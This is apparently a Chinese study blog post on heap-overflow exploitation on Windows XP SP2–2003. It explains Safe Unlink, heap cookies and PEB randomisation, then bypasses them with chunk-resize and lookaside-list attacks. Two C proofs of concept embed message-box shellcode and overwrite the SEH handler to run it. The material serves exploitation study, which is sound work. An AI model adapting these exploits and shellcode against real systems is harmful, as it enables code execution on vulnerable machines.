堆溢出攻击(XP SP2 - 2003)
微软在堆中也增加了一些安全校验操作,使得原本是不容易的堆溢出变得困难重重:
* PEB Random:在 Windows XP SP2 之后,微软不再使用固定的 PEB 基址 0x7FFDF000,而是使用具有一定随机性的基址,从而影响了 DWORD SHOOT 对 PEB 中函数的攻击。
* Safe Unlink:微软改写了操作双向链表的代码,在卸载 free list 中的堆块时更加小心。SP2 在进行删除操作时,提前验证堆块的完整性,以防止 DWORD SHOOT:
1 int safe_remove(ListNode * node)2 {3 if( (node->blink->flink==node)&&(node->flink->blink==node) )4 {5 node -> blink -> flink = node -> flink;6 node -> flink -> blink = node -> blink;7 return 1;8 } else {9 // raise exception
10 return 0;
11 }
12 }
* Heap Cookie:与栈中类似,堆中也引入了 cookie,用于检测堆溢出的发生。cookie 布置在堆首中原堆块的 segment table 的位置,占 1 字节:
* 元数据加密:Windows Vista 及后续版本的系统中开始使用这项措施。块首中的一些重要数据在保存时会与一个 4 字节的随机数进行异或加密,使用时再异或解密。这样就不能直接破坏这些数据了。
堆的研究者之一 Matt Conover 在 CanSecWest 04 的演讲议题 Windows Heap Exploitation (Win2K SP0 through WinXP SP2) 中,针对 PEB random 机制,指出变动只是在 0x7FFDF000 ~ 0x7FFD4000 之间,随机区间不大,在多线程状态下容易被预测出来。
而 Heap Cookie 只占 1 字节,在研究其生成随机的算法之后仍存在破解可能。
对于 Safe Unlink 也有人找到了一些破解思路。
但这些突破的思路要在 XP SP2 之后成功实施并利用,需要十分苛刻的条件,堆溢出变得难如登天。
溢出堆中的数据
但堆保护措施是对堆的各个关键数据结构进行保护,对堆中的数据不提供保护,所以攻击的第一个思路,是溢出堆中存放的关键数据结构:重要变量、数据、函数指针…
利用 chunk 重设大小攻击堆
Safe Unlink 是从 FreeList[n] 上拆卸 chunk 时对双向链表进行验证,但是,将一个 chunk 插入到 FreeList[n] 时没有进行校验!如果能伪造一个 chunk 并将其插入到 FreeList[n] 上就可以造成某种攻击。如下两种情况会发生插入操作:
1 内存释放后 chunk 不再被使用时。
2 当 chunk 的内存空间大于申请的大小,剩余的空间会被建成一个新的 chunk 链入链表中。
上述第二种情况提供了可以利用的机会。先考虑申请 chunk 的过程,从 FreeList[] 上申请空间的过程如下:
1 将 FreeList[0] 上最后一个 chunk 与申请的大小进行比较,如果 chunk 的大小 ≥ 申请的大小,则继续分派,否则扩展空间(若超大堆块链表无法满足分配,则扩展堆)
2 从 FreeList[0] 的第一个 chunk 依次检测,直到找到第一个符合要求的 chunk,然后卸载
3 分配好空间后,如果 chunk 有剩余空间,剩余空间会建成新的 chunk 并插入到链表中
这个过程中,第一种情况没有机会,第二种情况有 Safe Unlink 进行保护。但申请空间之后拆卸 chunk 时 Safe Unlink 存在一个问题:即使 Safe Unlink 检测到 chunk 结构被破坏,还是会允许一些后续的操作,包括重设 chunk 大小的操作。
首先用一段程序来观察将剩余空间的 chunk 插入到 FreeList[] 中的过程:
1 // OS : XP SP22 // Compiler: Visual C++ 6.0 (build release)3 #include <stdio.h>4 #include <windows.h>5 6 void main()7 {8 HLOCAL h1;9 HANDLE hp = HeapCreate(0,0x1000,0x10000);
10 _asm int 3
11 h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,0x10);
12 }
HeapCreate() 后,堆区初始化完成,此时只有一个 chunk 位于 FreeList[0],HeapAlloc() 申请小规模的空间后,会产生新的 chunk并被插入到 FreeList[] 中。
int 3 之后启动 OllyDbg 观察 eax 中的返回值,指向 heap=0x00390000,FreeList[] @ 0x00390178(堆首信息参见 winheap.h)。
FreeList[0] = 0x00390178 = &(Flink=0x00390688=Blink),此时唯一的 chunk 如下(d [eax+178]-8):
00390680 30 01 08 00 00 10 00 00 0x130 0x08 0x0 0x10 0x0 0x0
00390688 78 01 39 00 78 01 39 00 flink=0x00390178 blink=0x00390178
00390690 00 00 00 00 00 00 00 00 data ..............................
关键的地方在 ntdll.dll 基址偏移 0x11513 处,是修改新的 chunk 和上一个 chunk 指针的开始,反汇编代码如下:
1 7C931513 8D47 08 LEA EAX,DWORD PTR DS:[EDI+8] ; 获取 new_chunk 的 Flink 的位置
2 7C931516 8985 10FFFFFF MOV DWORD PTR SS:[EBP-F0],EAX
3 7C93151C 8B51 04 MOV EDX,DWORD PTR DS:[ECX+4] ; 获取 next_chunk 的 Blink 的位置;ECX==old_chunk->Flink==next_chunk
4 7C93151F 8995 08FFFFFF MOV DWORD PTR SS:[EBP-F8],EDX
5 7C931525 8908 MOV DWORD PTR DS:[EAX],ECX ; 保存 new_chunk 的 Flink
6 7C931527 8950 04 MOV DWORD PTR DS:[EAX+4],EDX ; 保存 new_chunk 的 Blink
7 7C93152A 8902 MOV DWORD PTR DS:[EDX],EAX ; 更新 next_chunk 的 Blink->Flink 的 Flink
8 7C93152C 8941 04 MOV DWORD PTR DS:[ECX+4],EAX ; 更新 next_chunk 的 Blink
算法伪代码如下:
1 // 设置 new_chunk
2 new_chunk->Flink = old_chunk->Flink
3 new_chunk->Blink = old_chunk->Flink->Blink // 算法开始时 ECX 已保存 old_chunk->Flink==next_chunk,各步计算以 ECX 为线索
4 // 将 new_chunk 插入到 FreeList[]
5 old_chunk->Flink->Blink->Flink = new_chunk
6 old_chunk->Flink->Blink = new_chunk
如果事先将 old_chunk->Flink 覆盖为 0xAAAAAAAA,就会执行:
1 [new_chunk->Flink] = 0xAAAAAAAA
2 [new_chunk->Blink] = [0xAAAAAAAA+4] // read *(0xAAAAAAAA+4)
3 [[0xAAAAAAAA+4]] = new_chunk // DWORD SHOOT // write &(*(0xAAAAAAAA+4))
4 [0xAAAAAAAA+4] = new_chunk // write &(0xAAAAAAAA+4))
以上算法中,第 3 行为典型的 DWORD SHOOT 攻击!如果事先将 shellcode 布置到 new_chunk,就可以利用 DWORD SHOOT 执行 shellcode!PoC 如下:
#include <stdio.h>#include <windows.h>void main(){char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // overwrite h1"\x10\x01\x10\x00\x99\x99\x99\x99" // overwrite header of chunk_after_h1"\xEB\x06\x39\x00\xEB\x06\x39\x00" // overwrite Flink & Blink of chunk_after_h1 (EB06: jmp 06)"\x90\x90\x90\x90\x90\x90\x90\x90" // overwrite data of chunk_after_h1"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\xEB\x31\x90\x90\x90\x90\x90\x90" // jmp"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x8C""\x06\x39\x00\xE4\xFF\x12\x00\x00" // fake Flink & Blink (0x0012FFE4=SE Handler)"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75""\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD""\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE""\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24""\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03""\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9""\x33\xDB\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57""\xFC\x53\xFF\x57\xF8" // 165 bytes msgbox shellcode for xp/win7;HLOCAL h1,h2;HANDLE hp = HeapCreate(0,0x1000,0x10000);//_asm int 3h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);memcpy(h1,shellcode,300);h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);printf("press any key to continue...");getchar();int zero=0;printf("divide operationg executing...\n");zero=1/zero;printf("%d\n",zero);}
当第 33 行申请 h2 的空间时,将会执行如下过程:
1 // h2 @ 0x003906B8
2 [0x003906B8] = 0x003906EB
3 [0x003906B8+4] = 0x0012FFE4
4 [0x0012FFE4] = 0x003906B8 // DWORD SHOOT : overwrite se handler
5 [0x003906EB+4]=0x003906B8
实验过程中发现代码中第 7 行的 shellcode 有具体要求,如果填写不当会导致异常。堆这部分内容需要再花时间学习!
利用 Lookaside 表进行攻击
Safe Unlink 对空表中双向链表进行了有效性验证,而对于快表中的单链表没有进行验证。从快表中正常拆卸一个节点(chunk)的过程为:
pre_chunk->next = chunk->next // pre_chunk : previous_chunk; chunk : the chunk to remove
思路:如果控制 chunk->next,就控制了 pre_chunk->next,进而当用户再次申请空间时系统就会将这个伪造的地址作为申请得到的空间的起始地址返回给用户。用户一旦向这个再次申请来的空间写入数据就会留下溢出的隐患。
// os : win xp sp2// compiler : visual c++ 6.0#include <stdio.h>#include <windows.h>void main(){char shellcode[]="\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // EB40 : jmp 0x40"\x03\x00\x03\x00\x5C\x01\x08\x99" // header of next_chunk"\xE4\xFF\x12\x00" // next_chunk->next (0x0012FFE4=default se)"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75""\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD""\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE""\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24""\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03""\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9""\x33\xDB\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57""\xFC\x53\xFF\x57\xF8" // 165 bytes msgbox shellcode for xp/win7;HLOCAL h1,h2,h3;HANDLE hp;hp = HeapCreate(0,0,0); // enable lookaside table//_asm int 3h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);HeapFree(hp,0,h3); // free to lookaside tableHeapFree(hp,0,h2); // free to lookaside tablememcpy(h1,shellcode,300);h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); // alloc from lookasideh3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); // alloc from lookasidememcpy(h3,"\x90\x1E\x39\x00",4); // h3=0x0012FFE4=se, 0x00391E90 = h1 = shellcode[]int zero=0;zero=1/zero; // raise exception, call se handlerprintf("zero = %d\n",zero);}
堆溢出攻击(XP SP2 - 2003)相关推荐
- 网络攻防之缓冲区溢出攻击
什么是缓冲区溢出? 缓冲区溢出是一种异常现象,当软件向缓冲区中写入数据使缓冲区容量溢出时,会导致相邻存储器位置被覆盖.换句话说,过量的信息被传递到没有足够空间的容器中,而这些信息最终会替换相邻容器中的 ...
- 网络安全攻防之缓冲区溢出攻击
什么是缓冲区溢出? 缓冲区溢出是一种异常现象,当软件向缓冲区中写入数据使缓冲区容量溢出时,会导致相邻存储器位置被覆盖.换句话说,过量的信息被传递到没有足够空间的容器中,而这些信息最终会替换相邻容器中的 ...
- 【pwn学习】堆溢出(一)
文章目录 什么是堆溢出 基本示例 堆分配函数 堆填充长度 堆攻击总结 学习这部分之前,如果对堆的基础还不甚了解可以参考一下下面的学习笔记 Linux堆管理基础知识(一) Linux堆管理基础知识(二) ...
- html溢出攻击,溢出(漏洞)攻击的实现及防御
前言 媒体上关于系统漏洞的话题一直不断,在我所接触的用一些朋友和用户中虽然也知道打系统补丁很重要,但却又一直不以为然总以为网络上的危险离自己很远,大部份人都认为进行一次远程攻击很困难甚至认为只要安装了 ...
- Windows XP SP2 (Simplified Chinese MS08_067漏洞复现)
文章目录 一.漏洞详情 二.靶机搭建 kali Windows XP SP2 (Simplified Chinese ) 三.利用nmap对靶机扫描 四.漏洞利用 五.总结 一.漏洞详情 MS08-0 ...
- 网络攻防实验之缓冲区溢出攻击
这个实验是网络攻防课程实验中的一个,但是目前我还没有完全搞懂代码,以后有机会来补.也欢迎大佬指点 一.实验目的和要求 通过实验掌握缓冲区溢出的原理,通过使用缓冲区溢出攻击软件模拟入侵远程主机理解缓冲区 ...
- 关于windows xp sp2/sp3 中tcpip.sys对于Raw socket的限制
WINDOWS XP SP2修改了TCPIP.SYS,增加了对于RAW SOCKET的发送和伪造源地的限制,详情如下 : 1) 不能通过raw socket发送TCP报文.做此尝试时会得到10004号 ...
- malloc 结构体_二进制安全之堆溢出(系列)——堆基础 amp; 结构(二)
哈喽啊 这里是二进制安全之堆溢出(系列)第二期"堆基础 & 结构"第二节!! 话不多说,直接上干货! 微观结构 函数执行流程 void *malloc (size_t by ...
- 缓冲区溢出攻击-C语言中的危险函数
1.缓冲区溢出攻击 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上.理想的情况是:程序会检查数据长度,而且并不允许输入超过缓冲区长度的字符.但是绝大多 ...
最新文章
- 关于jsp和eclipse服务器端的相关配置和JS的区别
- android+布局分块,android的List View的Item布局问题
- TreeSet集合排序方式一:自然排序Comparable
- 表格缓存问题_缓存常见问题,一网打尽哦!
- Linux性能优化2.1 CPU性能统计信息
- 技术动态 | 67 亿美金搞个图,创建知识图谱的成本有多高你知道吗?
- 将json转为map的两种方式及前后端开发json Api设计规范总结
- 使用javac编译时碰到的问题
- WebLogic 之安全配置
- uniapp —— 配合腾讯地图实现小程序自动定位
- 条形码jsbarcode
- 杰出女吉他大师Muriel Anderson
- PaaS、IaaS 、SaaS、Bass、Fass、无服务的理解与区别
- [游戏] 星际争霸2:一个新的传奇?
- 羡慕寻龙分金闯古墓?心动何不行动
- mac中实用的录音软件有哪些?
- 【CS231n】斯坦福大学李飞飞视觉识别课程笔记(五):图像分类笔记(下)
- JavaWEB(AJAX实现分页)
- 云服务器就是虚拟机,云服务器就是一个虚拟机吗
- 基于触摸屏和PLC开发的手持示教软件。 可控制4颗轴,操作简便